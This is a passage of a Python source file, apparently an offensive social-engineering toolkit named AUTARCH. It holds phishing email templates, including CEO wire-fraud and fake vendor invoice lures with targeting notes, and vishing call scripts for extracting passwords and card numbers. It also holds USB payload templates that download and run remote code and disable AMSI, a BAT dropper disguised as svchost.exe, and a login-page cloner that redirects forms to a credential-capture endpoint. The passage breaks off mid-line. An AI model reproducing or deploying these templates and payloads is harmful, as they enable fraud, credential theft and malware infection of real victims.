'Thank you for your cooperation,\n' + 'IT Infrastructure Team' + ), + 'pretext_notes': 'Leverages fear of security breach. Pair with a fake update portal.', + }, + { + 'name': 'VPN Reconfiguration', + 'subject': 'VPN Client Reconfiguration — New Certificate Required', + 'body': ( + 'Dear {target_name},\n\n' + 'Due to our migration to a new security infrastructure, all VPN certificates ' + 'will expire at midnight tonight. To maintain remote access, please download ' + 'the new VPN configuration file:\n' + '{link}\n\n' + 'You will need to authenticate with your current credentials to generate ' + 'a new certificate.\n\n' + 'Questions? Contact the Network Operations Center at noc@{domain}\n\n' + 'Regards,\n' + 'Network Security Team' + ), + 'pretext_notes': 'Effective against remote workers. The VPN config file can be a payload.', + }, + ], + 'hr': [ + { + 'name': 'Benefits Enrollment', + 'subject': 'Open Enrollment Period — Benefits Selection Deadline', + 'body': ( + 'Dear {target_name},\n\n' + 'The annual open enrollment period for employee benefits closes on Friday. ' + 'If you have not yet made your selections, please log in to the benefits ' + 'portal to review your options:\n' + '{link}\n\n' + 'Failure to complete enrollment by the deadline will result in default ' + 'coverage being applied.\n\n' + 'Human Resources Department' + ), + 'pretext_notes': 'Time pressure on something people care about. High click rates.', + }, + { + 'name': 'Policy Update Acknowledgement', + 'subject': 'Updated Company Policy — Acknowledgement Required', + 'body': ( + 'Dear {target_name},\n\n' + 'Our legal department has updated the Employee Handbook and Acceptable Use Policy. ' + 'All employees are required to review and acknowledge the changes by {deadline}.\n\n' + 'Please read and sign the updated documents here:\n' + '{link}\n\n' + 'Thank you,\n' + 'HR Compliance' + ), + 'pretext_notes': 'Compliance obligation creates urgency. Rarely questioned.', + }, + { + 'name': 'Employee Survey', + 'subject': 'Annual Employee Satisfaction Survey — Your Input Matters', + 'body': ( + 'Hi {target_name},\n\n' + 'We value your feedback! Please take 5 minutes to complete our annual ' + 'employee satisfaction survey. Your responses are anonymous and will help ' + 'shape company improvements.\n\n' + 'Complete the survey here: {link}\n\n' + 'Survey closes {deadline}.\n\n' + 'Thank you,\n' + 'People & Culture Team' + ), + 'pretext_notes': 'Low suspicion — surveys are common. Good for initial reconnaissance.', + }, + ], + 'vendor': [ + { + 'name': 'Invoice Payment', + 'subject': 'Invoice #{invoice_num} — Payment Due', + 'body': ( + 'Dear Accounts Payable,\n\n' + 'Please find attached Invoice #{invoice_num} for services rendered during ' + 'the previous billing period. Payment is due within 30 days.\n\n' + 'To view and pay the invoice online:\n' + '{link}\n\n' + 'If you have questions about this invoice, please contact our billing ' + 'department at billing@{vendor_domain}\n\n' + 'Best regards,\n' + '{vendor_name}\n' + 'Accounts Receivable' + ), + 'pretext_notes': 'Target finance/AP departments. Research real vendor names first.', + }, + { + 'name': 'Service Renewal', + 'subject': 'Service Agreement Renewal — Action Required', + 'body': ( + 'Dear {target_name},\n\n' + 'Your {service_name} subscription is due for renewal on {deadline}. ' + 'To avoid service interruption, please review and approve the renewal terms:\n' + '{link}\n\n' + 'Current plan: {plan_name}\n' + 'Renewal amount: ${amount}\n\n' + 'Best regards,\n' + '{vendor_name} Renewals Team' + ), + 'pretext_notes': 'Service disruption fear. Research the target\'s actual vendors.', + }, + { + 'name': 'Account Verification', + 'subject': 'Account Security Verification Required', + 'body': ( + 'Dear {target_name},\n\n' + 'As part of our ongoing security measures, we need to verify your account ' + 'information. Please log in and confirm your details:\n' + '{link}\n\n' + 'If you do not verify within 48 hours, your account may be temporarily suspended.\n\n' + 'Thank you,\n' + '{vendor_name} Security Team' + ), + 'pretext_notes': 'Account suspension threat. Clone the vendor login page for harvesting.', + }, + ], + 'delivery': [ + { + 'name': 'Package Tracking', + 'subject': 'Your Package Has Shipped — Tracking #{tracking_num}', + 'body': ( + 'Your order has been shipped!\n\n' + 'Tracking Number: {tracking_num}\n' + 'Estimated Delivery: {delivery_date}\n\n' + 'Track your package in real-time:\n' + '{link}\n\n' + 'If you did not place this order, click here to report unauthorized activity:\n' + '{link}\n\n' + '{carrier_name} Shipping Notifications' + ), + 'pretext_notes': 'Curiosity + concern about unexpected package. High click rates.', + }, + { + 'name': 'Missed Delivery', + 'subject': 'Delivery Attempt Failed — Reschedule Required', + 'body': ( + 'We attempted to deliver your package today but no one was available to sign.\n\n' + 'Tracking: {tracking_num}\n' + 'Attempt: {attempt_date}\n\n' + 'To reschedule delivery or redirect to a pickup location:\n' + '{link}\n\n' + 'Your package will be held for 5 business days before being returned.\n\n' + '{carrier_name} Delivery Services' + ), + 'pretext_notes': 'Fear of missing a delivery. Works broadly across all demographics.', + }, + ], + 'executive': [ + { + 'name': 'CEO Wire Transfer', + 'subject': 'Urgent — Wire Transfer Needed Today', + 'body': ( + 'Hi {target_name},\n\n' + 'I need you to process an urgent wire transfer today. I am in meetings ' + 'all afternoon and cannot handle this myself.\n\n' + 'Amount: ${amount}\n' + 'Recipient: {recipient}\n' + 'Account details are in the attached document: {link}\n\n' + 'Please confirm once completed. This is time-sensitive.\n\n' + 'Thanks,\n' + '{exec_name}\n' + '{exec_title}' + ), + 'pretext_notes': 'Classic BEC/CEO fraud. Requires OSINT on exec names and targets in finance.', + }, + { + 'name': 'Confidential Acquisition', + 'subject': 'Confidential — M&A Due Diligence Documents', + 'body': ( + '{target_name},\n\n' + 'As discussed, I am sharing the preliminary due diligence documents for the ' + 'upcoming acquisition. This is strictly confidential — do not forward.\n\n' + 'Secure document portal: {link}\n\n' + 'Please review before our meeting on {meeting_date}.\n\n' + '{exec_name}\n' + '{exec_title}' + ), + 'pretext_notes': 'Flattery (being included in confidential deal) + authority. ' + 'Target senior staff who would plausibly be involved.', + }, + ], + 'financial': [ + { + 'name': 'Wire Transfer Confirmation', + 'subject': 'Wire Transfer Confirmation — ${amount}', + 'body': ( + 'Dear {target_name},\n\n' + 'A wire transfer of ${amount} has been initiated from your account.\n\n' + 'Transaction ID: {txn_id}\n' + 'Date: {txn_date}\n' + 'Recipient: {recipient}\n\n' + 'If you authorized this transaction, no action is needed.\n' + 'If you did NOT authorize this transfer, click below immediately:\n' + '{link}\n\n' + '{bank_name} Fraud Prevention' + ), + 'pretext_notes': 'Panic about unauthorized money movement. Very high click rates.', + }, + { + 'name': 'Tax Document', + 'subject': 'Your {tax_year} Tax Documents Are Ready', + 'body': ( + 'Dear {target_name},\n\n' + 'Your {tax_year} W-2 / 1099 tax documents are now available for download ' + 'through our secure portal:\n' + '{link}\n\n' + 'Please retrieve your documents before the filing deadline.\n\n' + 'Payroll Department\n' + '{company_name}' + ), + 'pretext_notes': 'Seasonal — most effective in January-April. Targets everyone.', + }, + ], +} + + +# ── USB Payload Templates ──────────────────────────────────────────────────── + +USB_PAYLOAD_TEMPLATES = { + 'autorun': { + 'name': 'Autorun.inf', + 'description': 'Classic autorun — triggers executable on USB insert (legacy systems)', + 'template': ( + '[autorun]\n' + 'open={executable}\n' + 'icon={icon}\n' + 'action=Open folder to view files\n' + 'label={label}\n' + 'shell\\open\\command={executable}\n' + 'shell\\explore\\command={executable}\n' + ), + }, + 'powershell_cradle': { + 'name': 'PowerShell Download Cradle', + 'description': 'PS1 script disguised as document — downloads and executes payload', + 'template': ( + '# Disguise: rename to something enticing like "Salary_Review_2026.pdf.ps1"\n' + '$ErrorActionPreference = "SilentlyContinue"\n' + '# Disable AMSI for this session\n' + '[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").' + 'GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)\n' + '# Download and execute\n' + '$u = "{payload_url}"\n' + '$c = (New-Object System.Net.WebClient).DownloadString($u)\n' + 'IEX($c)\n' + '# Optional: open a decoy document\n' + '# Start-Process "https://hr.company.com/benefits"\n' + ), + }, + 'hid_script': { + 'name': 'HID Script (Rubber Ducky DuckyScript)', + 'description': 'USB HID attack — keystroke injection via Rubber Ducky / BadUSB', + 'template': ( + 'REM AUTARCH USB HID Payload\n' + 'REM Target: Windows\n' + 'DELAY 1000\n' + 'GUI r\n' + 'DELAY 500\n' + 'STRING powershell -w hidden -ep bypass -c "IEX((New-Object Net.WebClient).DownloadString(\'{payload_url}\'))"\n' + 'DELAY 100\n' + 'ENTER\n' + 'DELAY 2000\n' + 'REM Payload delivered\n' + ), + }, + 'bat_file': { + 'name': 'BAT File Dropper', + 'description': 'Batch file disguised as document shortcut — downloads and runs payload', + 'template': ( + '@echo off\n' + 'title Opening Document...\n' + 'echo Please wait while the document loads...\n' + 'REM Download payload\n' + 'powershell -w hidden -ep bypass -c "' + '$c=New-Object Net.WebClient;' + '$c.DownloadFile(\'{payload_url}\',\'%TEMP%\\svchost.exe\');' + 'Start-Process \'%TEMP%\\svchost.exe\'"\n' + 'REM Open decoy\n' + 'start "" "{decoy_url}"\n' + 'exit\n' + ), + }, + 'lnk_dropper': { + 'name': 'LNK Shortcut Dropper', + 'description': 'Windows shortcut file command — executes hidden PowerShell on click', + 'template': ( + 'REM Create this LNK with target:\n' + 'REM %comspec% /c powershell -w hidden -ep bypass -c "' + 'IEX((New-Object Net.WebClient).DownloadString(\'{payload_url}\'))"\n' + 'REM Icon: shell32.dll,3 (folder icon) or shell32.dll,1 (document)\n' + 'REM Name: Quarterly_Report or Shared_Photos\n' + ), + }, + 'html_smuggling': { + 'name': 'HTML Smuggling', + 'description': 'HTML file that assembles and drops a payload via JavaScript', + 'template': ( + '\n' + '{title}\n' + '\n' + '

Loading document...

\n' + '

If the download does not start automatically, click here.

\n' + '\n' + '\n' + ), + }, +} + + +# ── Vishing Scripts ────────────────────────────────────────────────────────── + +VISHING_SCRIPTS = { + 'it_helpdesk': { + 'name': 'IT Help Desk Call', + 'description': 'Impersonate IT support to extract credentials or install remote access', + 'opening': ( + 'Hello, this is {caller_name} from the IT Help Desk. ' + 'We are seeing some unusual activity on your network account and I need ' + 'to verify a few things with you to make sure your account is secure.' + ), + 'key_questions': [ + 'Can you confirm your full name and employee ID for verification?', + 'What department are you in?', + 'Are you currently logged in to your workstation?', + 'Have you noticed any unusual behavior — slow performance, unexpected pop-ups?', + 'I am going to need to push a security update to your machine. Can you open a browser and go to {url}?', + ], + 'credential_extraction': ( + 'I need to verify your account is not compromised. Can you enter your ' + 'username and current password on the verification page I just sent you? ' + 'This is a secure IT portal — your credentials are encrypted.' + ), + 'objection_handling': { + 'why_calling': 'Our monitoring system flagged your account. We are reaching out to all affected users proactively.', + 'how_verify_you': 'You can call back on the main IT line at {phone} and ask for {caller_name} in Security Operations.', + 'not_comfortable': 'I completely understand. Let me have my supervisor {supervisor_name} call you back within 10 minutes.', + 'will_call_back': 'Of course. Please call the Help Desk at {phone} before 5 PM today, as we need to resolve this within our response window.', + }, + 'closing': 'Thank you for your cooperation. I have updated your account status. If you notice anything unusual, call us at {phone}.', + }, + 'bank_fraud': { + 'name': 'Bank Fraud Alert', + 'description': 'Impersonate bank fraud department to extract account details', + 'opening': ( + 'Hello, this is {caller_name} from the {bank_name} Fraud Prevention Department. ' + 'We are calling because we have detected a suspicious transaction on your account ' + 'and we need to verify some information before we can proceed with blocking it.' + ), + 'key_questions': [ + 'For verification, can you confirm the last four digits of your account number?', + 'What is the billing address associated with this account?', + 'Did you authorize a transaction of ${amount} to {merchant} on {date}?', + 'I need to verify your identity. Can you provide your date of birth?', + ], + 'credential_extraction': ( + 'To block the fraudulent transaction and secure your account, I will need to ' + 'verify your full card number and the security code on the back. This is to ' + 'confirm you are the authorized account holder.' + ), + 'objection_handling': { + 'why_calling': 'Our automated fraud detection system flagged a ${amount} charge that does not match your normal spending pattern.', + 'how_verify_you': 'You can call the number on the back of your card and ask to be transferred to the fraud department.', + 'not_comfortable': 'I understand your concern. For your protection, I can place a temporary hold on the card while you verify through the bank app.', + 'will_call_back': 'Absolutely. Please call the number on the back of your card within the hour. Reference case number {case_num}.', + }, + 'closing': 'I have placed a temporary hold on the suspicious transaction. You will receive a confirmation text shortly. Is there anything else I can help with?', + }, + 'vendor_support': { + 'name': 'Vendor Technical Support', + 'description': 'Impersonate software vendor support for remote access installation', + 'opening': ( + 'Hi, this is {caller_name} with {vendor_name} Support. We noticed that your ' + 'organization\'s {product_name} license is showing some configuration errors ' + 'that could lead to data loss. I\'d like to help resolve this quickly.' + ), + 'key_questions': [ + 'Who is the primary administrator for your {product_name} installation?', + 'What version are you currently running?', + 'Are you able to access the admin console right now?', + 'I may need to connect remotely to diagnose the issue. Do you have remote access software available?', + ], + 'credential_extraction': ( + 'To apply the fix, I will need your admin credentials for {product_name}. ' + 'Alternatively, you can grant me temporary admin access through the portal at {url}.' + ), + 'objection_handling': { + 'why_calling': 'Our monitoring detected your instance is running a configuration that was flagged in security bulletin {bulletin_id}.', + 'how_verify_you': 'You can verify this call by contacting {vendor_name} support at {phone} and referencing ticket {ticket_id}.', + 'not_comfortable': 'No problem. I can send you detailed instructions via email and you can perform the fix yourself.', + 'will_call_back': 'Sure. The support ticket is {ticket_id}. Please call us back within 24 hours before the issue escalates.', + }, + 'closing': 'The configuration has been updated. You should see the fix reflected within the next hour. If any issues arise, reference ticket {ticket_id}.', + }, + 'ceo_urgent': { + 'name': 'CEO Urgent Request', + 'description': 'Impersonate executive for urgent financial action', + 'opening': ( + 'Hi {target_name}, this is {exec_name}. I know this is short notice, ' + 'but I need your help with something urgent and confidential. I am tied up ' + 'in a board meeting and cannot handle this myself right now.' + ), + 'key_questions': [ + 'Are you at your desk right now?', + 'Can you access the accounts payable system?', + 'Have you processed international wire transfers before?', + ], + 'credential_extraction': ( + 'I need you to process a wire transfer for a time-sensitive acquisition. ' + 'The details are in a secure document I will email you. Please use your ' + 'credentials to authorize the transfer immediately.' + ), + 'objection_handling': { + 'why_calling': 'This is related to a confidential acquisition. I cannot discuss details over email for legal reasons.', + 'need_approval': 'I\'ve already approved this with the CFO. You can verify with {cfo_name} after the transfer — but we need to move now.', + 'not_comfortable': 'I understand, but this cannot wait. I\'ll take full responsibility. Just process it and I\'ll sign the authorization form when I\'m out of this meeting.', + 'unusual_request': 'I know this is irregular. That\'s why I\'m calling you personally instead of sending an email.', + }, + 'closing': 'Thank you for handling this so quickly. I really appreciate it. I will follow up with the paperwork once I am out of this meeting.', + }, +} + + +# ── Social Engineering Toolkit Class ───────────────────────────────────────── + +class SocialEngToolkit: + """Social engineering toolkit — page cloning, pretexts, QR codes, USB payloads.""" + + def __init__(self): + self._data_dir = Path(get_data_dir()) / 'social_eng' + self._pages_dir = self._data_dir / 'pages' + self._captures_path = self._data_dir / 'captures.json' + self._campaigns_path = self._data_dir / 'campaigns.json' + self._qr_dir = self._data_dir / 'qr' + + # Ensure directories + self._pages_dir.mkdir(parents=True, exist_ok=True) + self._qr_dir.mkdir(parents=True, exist_ok=True) + + # Load persistent state + self._captures = self._load_json(self._captures_path, []) + self._campaigns = self._load_json(self._campaigns_path, []) + + # ── Persistence helpers ────────────────────────────────────────────────── + + @staticmethod + def _load_json(path: Path, default=None): + try: + if path.exists(): + with open(path, 'r', encoding='utf-8') as f: + return json.load(f) + except (json.JSONDecodeError, OSError): + pass + return default if default is not None else {} + + def _save_captures(self): + with open(self._captures_path, 'w', encoding='utf-8') as f: + json.dump(self._captures, f, indent=2, default=str) + + def _save_campaigns(self): + with open(self._campaigns_path, 'w', encoding='utf-8') as f: + json.dump(self._campaigns, f, indent=2, default=str) + + # ── Page Cloning ───────────────────────────────────────────────────────── + + def clone_page(self, url: str, output_dir: str = None) -> Dict[str, Any]: + """Fetch a login page, rewrite form actions to AUTARCH capture endpoint. + + Returns dict with ok, page_id, path, and file details. + """ + if not REQUESTS_AVAILABLE: + return {'ok': False, 'error': 'requests library not installed'} + + try: + parsed = urlparse(url) + if not parsed.scheme: + url = 'https://' + url + parsed = urlparse(url) + + resp = requests.get(url, timeout=15, headers={ + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ' + 'AppleWebKit/537.36 (KHTML, like Gecko) ' + 'Chrome/120.0.0.0 Safari/537.36' + }, verify=False) + resp.raise_for_status() + + page_id = hashlib.md5(url.encode()).hexdigest()[:12] + page_dir = Path(output_dir) if output_dir else self._pages_dir / page_id + page_dir.mkdir(parents=True, exist_ok=True) + + html = resp.text + base_url = f"{parsed.scheme}://{parsed.netloc}" + + # Rewrite relative URLs for resources + html = re.sub( + r'(src|href)=(["\'])(?!/|https?://)', + lambda m: f'{m.group(1)}={m.group(2)}{base_url}/', + html + ) + + # Rewrite form actions to point to AUTARCH capture endpoint + html = re.sub( + r']*?)action=(["\'])[^"\']*\2', + f'